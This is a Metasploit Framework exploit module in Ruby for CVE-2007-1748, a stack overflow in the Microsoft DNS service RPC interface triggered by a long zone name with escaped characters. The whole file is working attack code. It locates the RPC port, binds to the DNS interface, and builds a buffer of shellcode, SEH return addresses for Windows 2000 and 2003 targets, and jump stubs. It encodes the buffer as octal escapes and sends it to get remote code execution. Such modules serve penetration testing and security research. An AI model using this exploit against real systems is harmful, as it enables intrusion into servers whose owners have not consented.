This Metasploit module exploits a stack overflow in the RPC interface of the Microsoft DNS service. The vulnerability is triggered when a long zone name is supplied that contains escaped characters. This exploit will NOT work on Windows 2003 SP1 or SP2 if hardware DEP is enabled.
9e489d03059ad614ec6b6212926d5c4b2852414c9f8a30464d6ccd7e43d0f9ca
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
module Msf
class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remote
include Exploit::Remote::DCERPC
include Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft DNS RPC Service extractQuotedChar() Overflow',
'Description' => %q{
This module exploits a stack overflow in the RPC interface
of the Microsoft DNS service. The vulnerability is triggered when
a long zone name is supplied that contains escaped characters. This
exploit will NOT work on Windows 2003 SP1 or SP2 if hardware DEP is
enabled.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['CVE', '2007-1748'],
['URL', 'http://www.microsoft.com/technet/security/advisory/935964.mspx']
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 1024,
# The payload doesn't matter, but make_nops() uses these too
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 SP0-SP4 / Windows 2003 SP0-SP2 English',
{
'Addresses' => # Offsets must not overlap -4 or +9
[
[ 1213, 0x75022ac4 ], # Windows 2000 SP0-SP4 ws2help.dll
[ 1593, 0x7ffc0960 ], # Windows 2003 SP0 ??? (unreliable?)
[ 1633, 0x76a81a60 ], # Windows 2003 SP1-SP2 atl.dll
]
}
],
# WS2HELP.DLL
[ 'Windows 2000 Server SP0-SP4+ English', { 'Off' => 1213, 'Ret' => 0x75022ac4 } ],
# Unknown, probably unreliable
[ 'Windows 2003 Server SP0 English', { 'Off' => 1593, 'Ret' => 0x7ffc0960 } ],
# ATL.DLL (no SafeSEH) (still blocked by hardware DEP)
[ 'Windows 2003 Server SP1-SP2 English', { 'Off' => 1633, 'Ret' => 0x76a81a60 } ],
],
'DisclosureDate' => 'Apr 12 2007',
'DefaultTarget' => 0 ))
register_options(
[
Opt::RPORT(0)
], self.class)
end
def exploit
# Ask the endpoint mapper to locate the port for us
dport = datastore['RPORT'].to_i
if (dport == 0)
dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp')
if (not dport)
print_status("Could not determine the RPC port used by the Microsoft DNS Server")
return
end
print_status("Discovered Microsoft DNS Server RPC service on port #{dport}")
end
# Connect to the high RPC port
connect(true, { 'RPORT' => dport })
print_status("Trying target #{target.name}...")
# Bind to the service
handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp', [datastore['RPORT']])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
# Create our buffer with our shellcode first
txt = Rex::Text.rand_text_alphanumeric(8192)
txt[0, payload.encoded.length] = payload.encoded
# Handle multi-return targets
if (target['Addresses'])
target['Addresses'].each do |ent|
off, ret = ent
txt[ off ] = [ret].pack('V')
txt[ off - 4, 2] = "\xeb\x06"
txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')
end
# Handle single-return targets
else
off = target['Off']
txt[ off ] = [target.ret].pack('V')
txt[ off - 4, 2] = "\xeb\x06"
txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')
end
req = ''
# Convert the string to escaped octal
txt.unpack('C*').each do |c|
req << "\\"
req << c.to_s(8)
end
# Build the RPC stub data
stubdata =
NDR.long(rand(0xffffffff)) +
NDR.wstring(Rex::Text.rand_text_alpha(1) + "\x00\x00") +
NDR.long(rand(0xffffffff)) +
NDR.string(req + "\x00") +
NDR.long(rand(0xffffffff)) +
NDR.string(Rex::Text.rand_text_alpha(1) + "\x00")
print_status('Sending exploit...')
begin
response = dcerpc.call(1, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
end
rescue ::Exception => e
print_status("Error: #{e}")
end
handler
disconnect
end
end
end